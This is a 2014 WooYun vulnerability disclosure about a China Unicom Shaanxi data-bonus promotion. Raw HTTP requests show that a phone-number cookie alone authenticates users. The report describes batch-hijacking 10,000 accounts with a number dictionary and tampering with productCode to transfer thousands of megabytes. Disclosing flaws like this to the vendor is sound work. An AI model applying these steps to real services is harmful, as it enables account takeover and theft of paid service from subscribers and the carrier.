当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-077962

漏洞标题：中国联通某漏洞刷流量（已刷10000M）

相关厂商：中国联通

漏洞作者： 鸟云厂商

提交时间：2014-10-06 23:08

修复时间：2014-11-20 23:10

公开时间：2014-11-20 23:10

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-06： 细节已通知厂商并且等待厂商处理中
2014-10-11： 厂商已经确认，细节仅向厂商公开
2014-10-21： 细节向核心白帽子及相关领域专家公开
2014-10-31： 细节向普通白帽子公开
2014-11-10： 细节向实习白帽子公开
2014-11-20： 细节向公众公开

简要描述：

中国联通某漏洞刷流量（已刷10000M）

详细说明：

陕西联通流量红包活动
活动在fql.me上
首先签到的时候抓包

POST /llhb/userSignIn?st=Tue%20Sep%2030%202014%2018:22:29%20GMT+0800%20(CST) HTTP/1.1
Host: fql.me
Accept-Language: zh-cn
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12A405 MicroMessenger/5.4.2 NetType/WIFI
X-Requested-With: XMLHttpRequest
Accept: */*
Referer: http://fql.me/llhb/index
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: keep-alive
Cookie: JSESSIONID=1AC76AE2A9A0CDC6F05041DB6F7EC716; dengluchenggong=156*******; duanxinxianshi=156*******; gxhllbcxphone=156*******; qxinPhoen="156*******,0559"; xSXLLHBNumberCookie=156*******; xUpCallingLineIdCookie="aMGGZwYfvyv58hY+erfslw=="
Proxy-Connection: keep-alive
Content-Length: 15
Origin: http://fql.me
Accept-Encoding: gzip, deflate
tel=156*******


注意，其中有个参数。
xSXLLHBNumberCookie=156*******;
唯一的身份验证就是这个，直接更改了可以登录任意用户的账号。
#刷流量方法1
------批量刷流量
用工具生成个联通手机号字典，10000个号码
然后签到的时候抓包，批量替换其中的tel参数和cookie中的号码，给这些账户批量签到。

屏幕快照 2014-09-30 下午6.28.37.png


然后使用流量转赠功能，转赠的时候抓包。

POST /llhb/order?st=Tue%20Sep%2030%202014%2018:09:57%20GMT+0800%20(CST) HTTP/1.1
Host: fql.me
Accept: */*
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://fql.me
Content-Length: 105
Connection: keep-alive
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A405 Safari/600.1.4
Referer: http://fql.me/llhb/index/giving
Cookie: JSESSIONID=1E1708BE75523158A681C63BF8210FBE; xSXLLHBNumberCookie=§156*******§
tel=156*******&productCode=%23%2C%23%2C-5&productName=5M&givingTel=156156*******&givingFlag=1&believeFlag=


把tel设置为自己的手机号，givingTel和xSXLLHBNunberCookie设置为变量，然后Start attack
看看我的流量

IMG_0449.PNG


#刷流量方法2
------粗暴刷流量
在赠送流量时，会有两个POST请求，第一个是

POST
tel=156*******&productCode=%23%2C%23%2C-5&flag=givingFlow


这里是校验你是不是有足够的流量用于赠送，别动这个请求，直接PASS。
然后第二个请求

POST
tel=156*******&productCode=%23%2C%23%2C-5&productName=5M&givingTel=156*******&givingFlag=1&believeFlag=


这个请求的productCode可以直接修改为你想要的数字，没有第二次校验了。一次直接简单粗暴地送几千兆。
为了更直观，给大家用另外个账号证明了。

IMG_0450.PNG


漏洞证明：

60CFB1A76F277F79DA2555ECF8611449.png


2B47E8B3ABAB9F2CE56DD16AD7F969FB.png

修复方案：

版权声明：转载请注明来源 鸟云厂商@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2014-10-11 16:41

厂商回复：

最新状态：

暂无